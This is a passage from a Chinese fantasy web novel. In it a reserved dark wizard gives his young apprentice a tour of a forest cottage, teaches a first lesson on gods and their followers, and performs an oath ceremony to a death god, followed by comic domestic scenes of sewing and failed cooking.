当然,它知道这对身旁这位黑巫师而言不是什么问题。黑巫师有一万个办法处理掉那些脏东西。它只是觉得这对新鲜师徒的对话很有槽点。谁家小巫师这么点大就开始把魔物当家常便饭吃的,总觉得这小孩的三观隐隐要被带歪啊…… 活书抽搐着书页,不过师徒俩谁也没理他,一来一回聊得十分愉快——主要是莱塔单方面愉快。 小学徒在几经询问后,已经开心地点上了菜:“我要吃软弹多汁一点的魔物……还要长得好看!” ——这孩子绝对是个颜控。 黑巫师点点头,瞥向活书。 活书拖长音回答:“好嘞——” 它摊开内页,将小食客点的菜单一五一十写上,包括那些麻烦的要求:不要有很多眼珠子的;摆盘要好看;黏糊糊的不要;等等。 究竟是哪里捡来的小祖宗。活书暗暗蛐蛐。 “那我把您的吩咐递给他们?”活书问。 “去吧。以及可以提醒,不必一次性狩猎太多,他需要新鲜的肉类。” 意思是今后得频繁出门打猎了。嘿,真打算当小祖宗养了。 本以为枯燥的生活多了个会哭会叫的小玩具,结果现在他们倒先成玩具的保姆了……活书继续蛐蛐。 “‘他们’?”莱塔注意到黑巫师话里的称呼。 黑巫师只简单说:“黑森林里还住着其他‘人’。” 哦……原来这里叫黑森林……好黑巫师的地名啊…… 莱塔若有所思,又看向活书:“你是昨天那本叫《神明,神徒与信仰》的书?原来你会说话。”孩子终于想起这眼熟的模样。 活书抖了抖书页,对那个平凡普通的书名十分不屑。 黑巫师替它纠正:“它没有确切的书名。不过世间大多魔法书与笔记,都能由它复现。你在接下来修行的初步阶段中,遇到需要的书籍与秘方,可以寻求它的帮助——当我不在你的身旁时。” “好厉害啊……”莱塔真心感慨。 “哼。”活书继续抖它那被岁月磨损许多的书页,像小老头摸着自己的白胡子。它的声音也确实如老头一般。 “你有名字吗?”莱塔好奇又问。 活书不吭声。这种套近乎的小伎俩,还嫩着呢。 黑巫师抬起眼皮,看了它一眼。 活书不情不愿回答:“费-德-鲁-斯。” “那我可以叫你费德爷爷吗?”莱塔大眼睛眨眨。 “……”活书嘎巴一下不动了。 “费德爷爷。”莱塔清脆喊道。 “……这小鬼喊我什么?”过了两秒,费德鲁斯才极小声地咕噜了一句,似乎很是恍惚。 见莱塔已进食完毕,黑巫师便站起身,示意小学徒跟在他后头:“我们可以开始今天的学习了。” “好……”莱塔擦擦嘴,缀在对方袍子下,像只灰毛的小尾巴。 餐桌旁安静下来,只剩下一本陈旧的书时不时继续咕噜几句。 “费德爷爷……” “爷爷……” “嘿嘿……” 莱塔走在黑巫师袍子后好奇东张西望,发现这间森林里的小木屋其实挺温馨。虽没多少装饰摆件,但十分整洁,各种家具保养得很是用心。窗沿与桌柜上偶尔细小的损痕反而增添了些许韵味。 黑森林的日光似乎总很黯淡,不那么透亮。莱塔见到桌上墙边,角角落落都摆着细白长蜡烛堆,和幽幽的淡色蘑菇灯。白蜡烛上的金火让屋子显得高雅,辉煌;红绿青紫各种色泽的发光蘑菇,又为这个小屋加入了诡谲的奇幻色彩。 一根装着类似萤火虫幽蓝光点的捕虫网,斜斜漂浮在门口鞋柜旁,被一卷渔网绳缠着。光点上下游动,这似乎是某种行路灯笼。有成人两个肩膀宽阔的枯黄落叶伞,伞下吊着几只红眼睛的细瘦蝙蝠灯,则挂在另一边。它脚下蹲着几只大大小小的嬉笑南瓜,堆叠在一起,应当是需要时充当主光源,此刻只亮了一盏。 这些独特的小物件,都出于某种功能性地存在于各处,静悄悄倾泻着自己的光亮,仿佛只是主人随意的摆放,最终无意识无规律地揉合在一起,却如此相得益彰。 如果不知晓屋主的身份,莱塔会认为这是一位品味不错的学者的隐屋。 不过,晚上它们好像反而都熄灭了。因为黑巫师夜间喜暗? “晚上为什么不开这么多灯?”记得只有几盏小小的油灯。 “晚上它们需要休息。”黑巫师回答。 “哇……”孩子睁大眼睛。 莱塔很快被带上楼梯,就这一会儿功夫,他已经把小木屋的一层布局扫视一清:起居室,盥洗室,半开放厨房与餐厅,这就是一楼的全部了。看起来和普通人的没什么两样。 楼梯往下还有地下室,不过几步台阶往下的门是关着的。莱塔怀疑是黑巫师进行邪恶术式的地方,一定藏着防着不准他偷看…… “下面是工坊。铺了特殊的墙与地砖,方便实验魔法。对目前的你而言,使用它时需要有我在旁监管。”黑巫师的声音从楼梯上轻飘飘散下。 莱塔这才发现自己被落下了,忙加快脚步噔噔跑上楼。 二楼迎面是他的小卧室,从前属于黑巫师。往右边则是唯二的另一间屋子。 “那是书房,往后我们的理论教学也会在这里进行。书房里的书更杂一些,如果精力不足,你最好先掌握卧室里的那部分。那些对你更重要。” “这个楼梯往上就是阁楼,你现在睡觉的地方?”莱塔趴在墙根往上看。楼梯紧挨在他的卧室左边。 这其实不是规整的楼梯,而是摇摇晃晃架在这的活木梯,走上去会吱呀吱呀的那种。木梯指向一细窄的简陋的门,两侧墙壁做了内嵌置物架,放满瓶瓶罐罐的药水,除此以外楼上什么也没有。 莱塔注意到,哪怕是这种小角落,也是一尘不染,光洁干净。 黑巫师会定期请仆人打扫么?还是魔法? “是的,我住在这里。今后如果你有需要,可以进入卧室找我。”黑巫师站在书房门口,并不催促。 把人家原主人赶到了阁楼上住,莱塔有点小心虚。 不过……黑巫师可是获得了他这么可爱的小学徒!难道这还不够划算吗? 莱塔快活地摆着手臂回到黑巫师身旁。 黑巫师推开了书房的门。 屋内摆设徐徐展开,莱塔从黑巫师袍子后冒出脑袋,眼中充满惊讶与喜爱。 整个房间呈六角形,像个昂贵的小珍宝匣,每一面都被顶天接地的书架墙严丝合缝围起。各种颜色的书籍紧密排列,远看像是细瘦的彩砖,当中好些还会隐隐发出光亮。 墙上无窗,唯天花板的正中央开着面花窗,几乎占据了半个天顶的空间。窗大体是圆形,却实际均匀地向周围一圈刺出了棱锥角,一圈又一圈黑色的细线魔法阵于内环旋转,顺时针,逆时针,匀速,加速,各不一。 至于窗景,在不同角度向上看去,这面魔法窗便显现出不同的样貌。有时是不透明的莹莹的白色,如一块细腻的白瓷;有时黯淡下来,化作一片泛黄书页,那 些精巧的魔法阵仿佛真是书上的作画;更多时候是过分清澈地放着天空的情景,仿佛那里本就是镂空的,云被窗格切成拼图的模样。 当莱塔随黑巫师走进去,站在某个角度,他看见日与月共同悬挂于高空。红色的太阳,蓝色的月亮,它们冷漠地垂眸望着他,如神明。 莱塔站定,出神地望着它们。 “莱塔,这里来。”黑巫师的声音将他短暂游离的思绪唤回。 这是黑巫师第一次喊他的名字。 语气还挺温和的。莱塔想。 书房中央是一块圆形的浅绿色地毯。地毯周围长了一圈高高低低的魔法花草,孩子的脚迈过它们,它们没过孩子的小腿与膝窝,贴上去。 “呀。”莱塔轻呼,有些痒。 “它们能提供新鲜的空气与能量,让你在与学习中更专注,不至于太快疲惫。”黑巫师解释,又补充,“这是它们的问好。” “这样呀……”莱塔蹲下身,逐一和这些友善的花草们握了手,“你们好,从今天开始我就会常来啦。” 花草们不说话,只是晃晃它们的叶尖与花瓣,似乎很喜欢这个礼貌的孩子。 认真和每一位小花小草都打过招呼,确保没有任何人被遗漏,莱塔才站到地毯中间去。 地毯中央只有一张米色的单人沙发,看上去软乎乎,很好坐。至少莱塔现在就想跳上去滚一圈。 沙发前头摆着银色细脚小圆桌,一侧有巧克力色矮柜置物架,以及架上的提灯。它们的模样都十分精致,典雅,令莱塔几乎以为这是个开办在花园里的茶话会一角。 除了饮食和穿搭,黑巫师的品味其实挺好的嘛。莱塔忍不住又想。 ——其实黑巫师自己剪裁的黑袍子也十分简约、耐看,有韵味,只是某个小孩才不承认。哼,黑乎乎的。 这张沙发显然不能同时坐两人,除非黑巫师抱着他。这听起来挺毛骨悚然的,当然不可能。莱塔在心里偷偷笑说。 “坐吧。”黑巫师道。 莱塔也就不客气地坐上唯一的小沙发,屁股陷下去一半,两条腿仍旧触不到地。嘿嘿,真的好软哦。 头顶的小兔子则懂事地从孩子头顶暂时离开,蹲在地毯花草间。 几秒后,站在地毯边缘的黑巫师开口:“我们常说的所谓巫师,也就是借神之力量,施展魔幻之术的人。” 等等,这就开始了吗。 莱塔眨眨眼睛,立即挺直腰背,正经脸色,让自己看起来像个乖巧的好学生。他并不知道从黑巫师的视角看去,他只是像个埋在米白色酸奶碗里的灰色冰淇淋球。 黑巫师指尖一点,凭空勾勒出一面流动的黑幕布,半人高大小。指腹划过之处,秀美的金色字串飞速勾勒。莱塔明白这便是他们上课的小黑板了。 “因须借助神明之力,凡巫师必信奉乃至长久侍奉于其唯一的神明。愈是笃信虔诚,魔力与学习魔法的潜力便愈深厚。区别于普通的信徒,这些追随各自神明的巫师被称为神徒……” 莱塔举起小手。 黑巫师暂停:“请说。” “意思是不信仰神明的话,就没法施展法术吗?” 黑巫师点头:“原则上来说是的。不过这并不代表只要信仰神明,便能成为巫师的一员,运用魔法。有一类人天生无法施展魔力,这类人占据人群中的绝大多数。巫师们将他们称为‘神弃者’,意思是在诞生之时便遭到了神明的厌弃……” 黑巫师又停了下来,因为某个小学徒再度端端正正地举起小手,像一根挺拔白嫩的细长蘑菇杆。 “……请说。” “可是我之前在浴室里,就借助那颗蓝色的石头,用魔法放出水了。我没有信哪位神明呀。” 黑巫师这次没有很快解释,他静静望着孩子看,似乎在观察。 莱塔摸了摸自己的脸蛋。 黑巫师终于开口:“你过去应当接触了某位神明,哪怕你不知道它的名字。世上神明不止有那十多位主神,在主神之下还有众多从神,同天上繁星一般。从神们掌管的权柄细微而弱小,也许有关一朵花,一片云,你在某日从它们眼前擦肩而过,或许便得到了它的喜爱,那便是连结的开始。 “从神通常无法赐予凡人使用魔法的力量,偶尔也有例外。只是这份例外虽存在,却也太过渺小,如同一粒萤火。虽发光,仍然十分黯淡,不会被星辰放入眼底……” 白嫩细长蘑菇杆从黑巫师的眼底缓缓升起。 “……以后不必举手,直说即可。” “好……你说得到喜欢是连结的开始,意思是说,其实不需要信仰,只要神明喜欢你就可以了?”莱塔歪歪脑袋。 黑巫师眼中浮现转瞬即逝的赞许:“不错,你很聪明。因为本质是向神明借取力量,信仰与侍奉不过是讨得神明欢心的手段。” 莱塔顺着这个思路说:“所以我接下来要弄清楚,那位让我能施展魔法的神明是谁……” “不。”黑巫师轻轻摇头,“你身上没有深刻的神明印记,所以那只是一名无足轻重的从神,并不值得在意。一名巫师想要于修行之路上走得更长远,其所侍奉的神明,只应在主神之中选择。选择之后,便是终身,再不可更改。” “而作为一名黑巫师……”黑巫师的手轻轻抬起。 整个书房黑了下去,无论花草,天窗,还是黑巫师金灿的板书,都失去了颜色。 莱塔还没有来得及升起不安,便先有一团幽蓝色的冷火从他眼前烧开。那是黑巫师本站着的位置。火光蔓延开来,塑成一尊神像。 身披黑袍、手持巨镰的骷髅死神的幻影,俯身望着渺小的孩子。它本该是眼眶的两个黑黝黝洞窟中,幽幽悬着两团蓝火。 蓝火中倒映着孩子坐下的小小身影。 骷髅死神出现得太突然,也太近,镰刀好似要划过孩子的头发。那柄象征死亡的武器实在太过高大,莱塔一时之间都望不到它的尽头。银色的镰滑入漆黑中。 莱塔看到黑色中隐约的庞然苍白龙骨。 那是藏在袍子下只露出一截的白骨龙尾,弯刺嶙峋。 他听到寂静里自己加快的急促的心跳,以及黑巫师再度响起的淡淡的声音。事后回想起时,莱塔竟然奇怪地觉得,他的导师并无多少敬畏之意。 “这是你毕生将信奉的神明,死亡与灾厄之神——不死不灭。” 4. 不死不灭 巍峨骷髅死神的幻影,渐渐消散,光线回归。仍旧是六角宝匣般的魔法书房,仍旧坐在软乎围着一圈花草的小沙发上,莱塔却还没能移动眼球,他怔怔望着半空,仿佛那里还有什么。 黑巫师也仍站在小黑板侧,他手指轻点,几笔描绘,一只缩小的死神便立于画布,线条栩栩如生。 “这是记载中不死不灭的形象。它无血无肉,只一尊白骨行走于冥河之上。镰刀象征死亡,骨龙尾指向灾厄。这是人们对它的想象。” 莱塔终于缓缓从那瑰丽幻象的震慑中回神:“想象……也就是说神明不一定就长这样?” “理论上而言,没有人知道神明具体的形象。有人说神明本就无象,它们不以物质存在;也有人说这只是凡人的无知与弱小,无法以自身低劣的肉眼与大脑,去辨认那名为神明之存在的崇高外形。” 莱塔点头,学着念起黑巫师嘴里的称谓:“死亡与灾厄之神,不死不灭……” 某种奇妙的灵感涌上心头。似乎在比至高天更遥远的地方,有某道目光淡漠地投来,落在他的脸庞。好奇怪。简直就像是一瞬被庞然的危险锁定了一样。 莱塔抚了抚胸口。又好像是错觉。这里没有什么别的监控。这里看着他的只有黑巫师一人。黑巫师灰蓝色的眼睛一动不动盯着他。 黑巫师说:“平日最好不要随意念出神明的真名,这有概率引来它们的注视——它们能听到,每时每刻。” “啊。”莱塔立即两只手捂住嘴,又小声说,“那怎么办?我们刚才说了那么多次,它老人家岂不是都听到了?” 这么说着,他两只葡萄似的小眼睛不住地往天上瞟,似乎觉得那位名叫不死不灭的神明大人,就在某个地方与他对视。 “无妨。通常而言,神明并不会在意凡人的交谈,因为凡人毕竟太多,也太渺小。更何况,接下来我们要做的事情,便是引来它真正的注意……”黑巫师在这里停顿了一会儿,他接下来的神情稍微严肃几分。 莱塔意识到这是今天的正题了。他也板起脸来,学着端正神色。 “莱塔,选择成为一位主神的神徒,便意味着将自己的身躯与灵魂都献与了它。若背叛,背弃,改信它神,神明便会向你落下它的神罚。根据神明们执掌权柄与性格、喜好的不同,具体的神罚也因神而异,就像它们给凡人的恩赐一样。” “那么不死不灭的神罚是什么?”莱塔问。 他说完就意识到自己又喊了一回人家的名字,不过还没懊恼呢,黑巫师便很快回答了他。这一次,黑巫师的声音幽幽的,有些阴森,冷寂。 “是哪怕身死魂飞,也要将你的残魂捉来,锁入冥河,去侍奉你唯一的神,你的主,不得逃脱,不得安眠……直至百年千年,彻底油尽灯枯。” 随着言语从薄唇中吐出,那对灰蓝色的眼眸加深,加亮,这让眼睛的主人像一只蛰伏捕食的巨兽。与此同时,又来了,那道危险的崇高的视线。莱塔感到自己被钉在小沙发上,只是一盘很弱小的可怜的肉菜。 然而等莱塔稍微愣神一下,想将那奇异发亮的灰蓝眼睛再看个仔细时,黑巫师又变回了平常的样子,一切平静,没什么情绪。 仿佛只是他的错觉。 “这道神罚被称为‘永不安息’。”黑巫师淡淡说。 永不安息……听上去就很不祥…… “莱塔,你确定要信奉不死不灭么?”黑巫师又问。 “难道我有选择么?”莱塔撇撇嘴。 “确实没有。” 黑巫师上前几步,莱塔感到那人冰凉的袖袍落到了自己脸上。然后他听到了一种低沉而沙哑的声音,从头顶传来。 “徘徊冥河之上, “手持死亡之镰, “您的骨尾写下灾厄的预言; “无情的死神,亡魂的引渡人, “您是荒芜与寂灭,是万众凋零与终焉, “自第四纪诞生的古老神明啊, “我在此祈求您的聆听,呼唤您的真名,死亡与灾厄的神明——不死不灭。” 莱塔开始时还试图用耳朵去仔细辨别,然而很快,他的心神便好似被这充满神性的声音所蛊惑牵动,再也无法思考其他了。 优美而古老的诗歌,直接从灵魂深处浮现,一字一句响彻在脑海中。莱塔失去了对身体与外界的一切感知,甚至没有意识到黑巫师的一只手,轻柔地覆盖在了他的半边脸颊与下颌,捧住他的脑袋。他不知何时闭上了眼。 当黑巫师唤出了神明的名字,他的嘴唇也无意识地翕动着,擦过黑巫师的手掌虎口,接上了后续的话。他听到属于他自己的声音响起。 “我将从此爱您,信仰您,追随于您。将您的荣耀视为我的荣耀,将您的苦痛视为我的苦痛。我愿为您献上灵魂与一切,而我只属于您。” 纯洁的信徒念完了他的发誓,余下便是等待神明的驻足与挑择。 这是一场简陋到说出去不会有人相信的立誓仪式。 眼下这名灰发紫瞳的孩子,穿着平平无奇的手工袍子,甚至袍子上还有线头;澡是昨天洗的,没有涂搓香料;坐在一间并不专用于仪式的书房中,而非神殿。 周围没有讨好神明用的特制熏香与花卉,书架上甚至离谱地堆叠着密密麻麻与各神明有关的魔法书,是人们普遍认为会激怒神明的低级错误。 明明向执掌死亡与灾厄权柄的神祈祷,入目却似乎没有任何与之相关的器物。好像整个屋内最与神明有关联的,便是那位不知名头的黑巫师。 对了,黑巫师。任何一个巫师若看到此地做立誓仪式的样子,恐怕都要气得吹鼻子瞪眼,怒骂这名看起来挺年轻的青年:你这个导师是怎么当的?!你当年被领着立誓时,难道你老师是这么教你的吗?! 黑巫师好像真的没有一丝这方面的常识。 黑巫师只是一手托着他的小学徒的脑袋,防止其直接睡下去,另一只手向下摊平,虚虚悬在小学徒的头顶上,似乎在运转魔力。 小学徒的漂亮小脑袋,被他托得像一颗魔法水晶球。灰色的,圆乎乎的,还立着一根软翘的呆毛。 在莱塔闭目静静等待神明回应的那几秒里,黑巫师就那么眼睛眨也不眨地垂眸盯着呆毛看。黑巫师在这顶顶重要的仪式里,完全没有思考任何与神明有关的事情。 他在思索什么呢? 只见他迟疑地放下那罪恶的手,终于显露出他沉思的内容:他摸了摸小学徒的呆毛,又往下揉了揉小学徒毛茸茸的脑袋。 ……还挺好摸。 过了片刻,莱塔的心神也终于回归,他一睁开眼睛就问:“刚刚你念的是什么?好像诗歌。” 此时黑巫师早已不动声色收回手:“是神号诗,用于赞颂神明的名。它通常分为两段。前半段有三句,会在做仪式、祭祀等场合使用,神徒可以凭之以及相应的材料,来借取神明的少许力量。加上后半段则共有七句。完整的念诵必当场引得神明的注意,非必要不可念完全,尤其是与你信仰之神明关系不佳的神。” “哦……不死不灭的神号诗还挺好听的。”莱塔感慨,又睁大眼睛,“这么说,它刚才来过。” “是的。它接受了你,你从此是它的神徒。今后任何巫师都能从你的身上察觉到它的印记。” “……啊?”莱塔露出十分小笨蛋的表情,随后茫然又问,“这是什么时候的事情?” “就在你说你要献上你自己之后,这代表立誓仪式正式开启。”黑巫师帮助小学徒回想起自己嘴里说过什么。 彻底成为了一名死神的神徒,莱塔的心情有些微妙:“竟然这么简单么……你确定这样就可以了?” “这样就可以了。”黑巫师不假思索。 当一个神的神徒也太容易了吧……! 难道不死不灭其实是那种很缺神徒的孤寡老神? 莱塔又想到什么,捂住嘴同他的导师小声说悄悄话:“它老人家会不会觉得我们不够虔诚?毕竟我们请它来了一趟,什么也没献上。” 黑巫师的目光在孩子头顶翘起的呆毛上停留了一会儿,那里才刚被他揉弯下去,此刻又挺立起来了。 “不会。它不拘泥于形式。” “哦哦……没想到它脾气还挺好的。” 黑巫师沉默了会儿,才又开口:“……以后不可以随意议论神明,这同样容易招致神罚。” “……神明们也太小气了!”莱塔无声朝他的导师对口型。说完又像一起做了件坏事一样,对黑巫师鼓着腮帮一笑。 黑巫师没有对这张可爱的笑脸表露什么回应,他只是继续冷淡授课,仿佛刚才的庄严立誓只是一段无足轻重的小插曲。 “我们刚才说到神号 诗。在巫师们进行向神明祈求力量的仪式时,都会念诵这样的赞美诗。它们大体格式相同,描述着不同神明执掌的领域、权柄,可以指向的具有排他性的意象,以及身份的标识。至少你需要将不死不灭的神号诗牢记于心……” 提到仪式,黑巫师又多讲了些。他似乎完全没有“教学计划”,纯粹想到哪便说到哪。 “通常而言,巫师们施展大型以及高危魔法的仪式时,都会被要求准备好相应的材料。你须知道,这些本质都是进献给神明的礼物。‘开启某个神明执掌领域内的仪式,需要献祭相关的人或物’,这句话的真实意思是,巫师们需要给神明捎信,送礼,表明诚意,才能请动神明,帮忙行事。也就是说,仪式所要求的具体材料,其实是不特定的,只要神明喜欢;更有甚者甚至可以是不必要的——只要神明乐意。” 莱塔似懂非懂,觉得这大段话挺有道理,挺像初学者该掌握的基本规则。他不会知道他正聆听的,是在第十二纪整个巫师界都将掀起哗然的惊世之言。 魔法仪式的材料不重要? ——这完全有违巫师之道! 莱塔只好奇又问:“那不死不灭喜欢的东西是什么?” 黑巫师罕见地似乎被问住了。 他沉思,像是在原地思考,从未想过一般。 “……大概是黑魔法有关的书籍吧。” “黑魔法?”这个说法还挺笼统的。 黑巫师这回解释得很快:“信奉不死不灭的巫师被称为黑巫师,黑巫师研习的魔法便是黑魔法——当然,这是在如今第十二纪人们的划分。” “噢噢。”莱塔懂了,“那我就是小黑学徒了。” “……差不多。” 莱塔望着黑巫师的脸,像是发呆像是在沉思。 他似乎用自己这颗毛绒的小脑袋严肃思考着什么重大的理论,黑巫师没有打扰他,留给小学徒消化知识点的时间。 最后,小学徒得出一个结论:“我们刚才没有献上任何黑魔法书,但不死不灭还是接纳了我。这是不是就是你说的,神明非常喜欢我?” “……也许吧。” “不是也许,是‘正是如此’!”莱塔狡黠一笑。 他摇晃着身子,十分得意地翘翘笔挺的小鼻子:“哼哼,我感觉到它老人家在仪式时摸了摸我的头顶。它一定可喜欢我了!” 黑巫师一怔,随即意识到真相,哑然失笑:“是么。” 似乎越冷淡的人,露出转瞬即逝的笑意时,越引人注意。莱塔摇晃的小身子都停了下来,再度望着自家导师的脸出神。 他想,黑巫师长得可真好看啊,大概就比他差上那么一点点吧,哼哼。 接下来黑巫师又为莱塔讲了些有关巫师与信仰的要点,今天的第一堂课就差不多结束了。现在到来的便是小学徒们通常最害怕的环节。 黑巫师:“你昨晚的功课学习得如何?” 莱塔:O.o? 小学徒用清澈且茫然的目光望着导师。 黑巫师:“……昨晚你看了哪些书?学到了什么?有什么不懂的么?” 哦哦,原来是这个意思。 莱塔大大方方讲起来,兴致颇高:“看了很多呢!我最喜欢的是蘑菇妖精的那本。我们也可以养蘑菇妖精吗?它们是不是和画上一样可爱,有圆乎乎的一对小腿和小手?它们真的可以和我们交流吗?蘑菇妖精更偏向植物还是动物呢……” 孩子的问题有很多,但没有一样和学习有关。 黑巫师的目光很是复杂。 他最后只是说:“你今天先看书吧。中午做好午餐后,我会来喊你吃饭。” “好……”莱塔点点头,只当黑巫师很忙。 嗯……黑巫师平日里会忙些什么呢?难道是练习各种邪恶魔法,再出门到处欺负小动物和小朋友? 莱塔被自己脑海中的画面逗乐了,不禁摇摇头。他当然知道他的导师和故事里那些黑巫师很不一样啦。只是太好奇了…… 莱塔不知道的是,他的黑巫师导师离开书房后,便笔直下楼,路过了他自己的卧室,路过了实验魔法的工坊,路过了放有提灯与蝙蝠枯叶伞的大门…… 来到了餐厅。 在那里,黑巫师将孩子吃完的餐具都收拾起来,放入清洗槽内——便撸起袖子,开始严肃洗盘子。 5.煎肉排 是的,这就是黑巫师一天要做的正事。 只见他仔仔细细将白盘子与小茶具擦洗得洁净,漂亮,不落一滴水,才将之放入橱柜中。再然后便是将厨房与餐桌都清洁一遍,包括某个孩子不慎溅落到地上的油汁。 黑巫师本该握着法杖的双手,娴熟地拎着拖把与水桶,看起来竟然没有多少违和。 做完这一切,他回到楼上,这次是进入孩子的卧室。黑巫师似乎并没有“孩子的私人空间”这份意识,他推开门,目不斜视走进去,来到孩子的床头。 他的小学徒显然习惯不错,床单与被子都摆得整齐,睡了一晚的小袍子也好好地放在枕头旁。 黑巫师将之挂上臂弯,转身下楼,来到盥洗室,开始动用那张木桶,洗洗揉揉。不过这次他并非直接上手,而是以魔力掌控着水流的运转,自己则只抱臂倚靠在墙边,默默监工。 费德鲁斯又来了。 它看了一会儿,说:“这不行,小孩子的皮肤很嫩,这袍子太糙了。您得给他做专门的睡衣。” “睡衣?” “喏,这几样是在这个年纪的孩子们间最流行的款式。”活书展示出几份图纸,“虽然需要的布料黑森林里没有,不过想来幻影毒蛛的丝可以替代。还能用那堆食人花染色。我帮您去弄来一些吧?” 黑巫师接受了提议,不过拒绝了食人花:“它们不干净。” 半小时后,活书带着足有一马车份量的蛛丝回来,它们堆放在起居室里,像是屋内积了白绵的雪。 黑巫师默默坐在木椅上,拿出他的针线盒与缝纫机,埋头工作。缝纫机自然不是寻常那种,它更像是一种没组装好的散件,各个部位由各类魔晶石打磨替代,悬浮在半空,部件与部件间以看不见的魔力流束相连接。 这是只有黑巫师本人能操使的缝纫机,一件精妙非常的魔导器,想必若流通到市面上,将引得众多巫师竞相争夺。哪怕只为了将之拆开,研究当中的魔法回路,细细钻研,参悟。 ——可夸得再厉害,它仍旧只是一台缝纫机。 黑巫师很快做好了几条漂亮的白色小睡裙,有蕾丝的,有带泡泡袖,还有腰后缀着大蝴蝶结。他仔细给每条都做了各自的设计,并且确保这些装饰不会让孩子穿着难受。 剩下的布料,黑巫师用来织了些裙下的衬裤和小袜子,袜子有长筒的,短筒的,乃至一高一低纯好看的。他把这些全部塞入孩子的衣柜中,立即便发觉这柜子实在太小。从前存放他自己的衣物还算绰绰有余,如今显然要被淘汰了。 他于是又一顿动手,扩建出来个更大的柜子。 这么捣鼓一番下来,上午的时间已经过去大半。但黑巫师还有未完成的任务:一顿带肉的美味午餐。 湿淋淋带血的魔物肉早被整齐地码在小木屋的后院里,处理者甚至贴心地帮忙把它们拆卸好,片成适合料理的肉块与肉饼。血水在地上蔓延开来,遇到地上被一并划下的魔法阵边沿,再也无法流出。这张临时的小型魔法阵,不仅锁住物体与气味,还自带对食材的保鲜。 黑巫师取用其中一块肉,回到厨房,将它们烹调至软嫩,放入盘中。正好到了用餐的时刻。 推开门,小学徒仍乖乖“坐”在小沙发上,只是姿势已经歪斜下来。一只腿勾在靠椅,另一只折叠在袍子里,脑袋几乎垂到地上,一头美丽的长发也毫不怜惜地散落一地,像掀翻的牛奶。 小学徒仰面朝天,两只手捧着书本举在脸上,嘴里叽里咕噜:“感知与精准的操控是最重要的……魔力的深厚反而是最后才需要去追求的……这样吗……这么简单的道理为什么要翻来覆去说这么一大堆……这是谁写的……好吧我也不认识……” 黑巫师站了片刻,才开口:“可以用餐了。” “……”小学徒果不其然浑身一僵。 莱塔慢吞吞坐起身来,把袍子抚平,脚重新插入歪在地毯上的靴子中,仿佛什么也没发生过一样。除了脸上有点红。 “……下次进来前要敲门,不管是书房还是我的卧室。”走出房间后,莱塔忍不住还是小声说。 黑巫师顿了下,跟着走在后面:“好的。” 莱塔再度坐到餐桌上。这一回黑巫师站在他身后,像是静静期待着他对菜品的评价。 评价…… 嗯,评价…… 莱塔将嘴里的第一块肉咀嚼了将近一分钟。他在漫长的咀嚼中禁不住思考,他的导师指望他这个可怜的学徒能给出什么评价呢。 他可是学习了一上午,现在却得用他的腮帮子同这些过熟的尸块进行残酷的斗争……! 莱塔灌了杯水,终于费力地把嘴里的肉吞下去。 他放下刀叉问厨师:“你觉得这份肉排怎么样?” 厨师回答:“它们是熟的。” “……” “怎么了?不合口味么?”黑巫师很没有自知之明地问。 “好难吃。” “……要不要暂时先吃蘑菇汤?” “好。” 莱塔发现很多东西还是得靠对比。比方说如果你在今天早晨给他一碗预制蘑菇汤,他准会闷闷不乐,觉得一整天都要不开心啦。但放在了被黑暗肉排占领的中午…… 蘑菇汤可太美味了! 莱塔埋头享用着他的蘑菇,就和第一天吃到它们时一样。这时候的黑巫师已经坐回到窗边的摇椅上,仍旧情绪淡淡,似乎对餐桌上发生的一切不感兴趣。 然而黑巫师没有拿起窗沿上的那本书翻看。 黑巫师只是静静望着窗外林景,仿佛他看了这么多个日夜的森林,忽然就大变样,变得很好看了。 “喂,你是不是只会做蘑菇汤?”大约半碗蘑菇汤下肚,莱塔问起黑巫师来。这是份很纯粹的好奇。 “我没有做过别的菜。”黑巫师坦诚道。 他的导师究竟是从哪个丛林里冒出来的野人……不对,如果是野人,反而还该很会做饭、自给自足才是。 莱塔想不明白。 黑巫师又主动说:“晚餐之前,我会学习肉排的处理方法……指在烹调方面。” 这么看来,黑巫师对他还挺有耐心的。 莱塔笑道:“那我很期待了,加油!” 他跳下餐桌,端起喝得干干净净的空浅盘:“早上的时候忘记问了,这些东西放在哪里?家里是有专门用于打扫的魔法仆役吗?” 黑巫师目光示意厨房的水槽。 莱塔放进去后才反应过来:“等等,是你来亲自洗吗?” “是的。不过我会用魔法辅助,所以很便捷。” “这样啊……”莱塔不疑有他,“那我上楼继续去看书了。” “嗯。” 厨房里只剩下了黑巫师。他这时才轻声呼唤:“费德鲁斯。” 活书慢悠悠地刚飞进来,黑巫师甚至还没来得及说话,某个小孩又从墙壁后冒出脑袋。 “对了……”莱塔的话止在半空,他望着窗边一人一书看,意识到什么。 “你说的‘学习’,就是向费德爷爷要菜谱吗?” “……是。” “原来如此……”莱塔恍然大悟,只是想着费德爷爷竟然还有这种用处,好方便啊。 “怎么忽然回来了?”黑巫师问他。 “哦,我是想问,书房里的书好像和卧室的不太一样。它们都标有各自的作者。” “卧室里的是我自己的笔记,书房中则是其他巫师所撰写的魔法书。” “一整个卧室的书,都是你自己写的吗?” “是的。” “哇……”即便早有猜测,莱塔还是觉得很敬佩。 小学徒又对他那被赶出卧室的导师好心道:“你要是想回顾你的笔记,可以随时来我的卧室……但得敲门。”说到后半句,孩子绷起小脸,非常严肃。 “好。”黑巫师点头。 等小学徒又上了楼,黑巫师才看向等待多时的费德鲁斯。 费德鲁斯:“……真要菜谱?” 黑巫师静静看它。 费德鲁斯:“好吧,关于肉排的做法,我这儿有好几套呢。不过我最建议的还是这两种,甜口的,小孩子最喜欢了……” 独自回到书房的莱塔,继续在书海中遨游。 “果然,不管什么都还是得对比一下……”翻了没一两页,小孩喃喃自语。 和他家导师的笔记比起来,这些书实在是太啰里啰嗦不讲重点了!一句话就能说清楚的东西,非得拆成这么多章节。难道写这些书的巫师们以为,全天下的小巫师都是笨蛋吗? 莱塔无法理解。 就像全天下的小巫师们也不能理解他。 或许得等到若干年后,这位缺乏常规教育的小巫师走出黑森林,才会惊觉曾被他隔三差五诋毁拉踩的作者们,是一位位多么厉害的传奇巫师,所作文章大多遗散,都只出没于传说中了。 ——但确实都不及他的导师。 莱塔很快又翻完一本,他在书架上看到个眼熟的书名:《神明,神徒与信仰》。唔,看来这就是被费德爷爷假扮的那本书的本尊了。 他拿出来快速浏览着,翻飞的指头在某个标题名上停下:立誓仪式。黑巫师好像说他们今天做的就是这个。唉,好潦草的字迹啊,完全比不了他导师…… 【所谓立誓仪式,便是通过立誓求取神明认可,成为神明之神徒的仪式。并不是每一个誓言都能得到回应。】 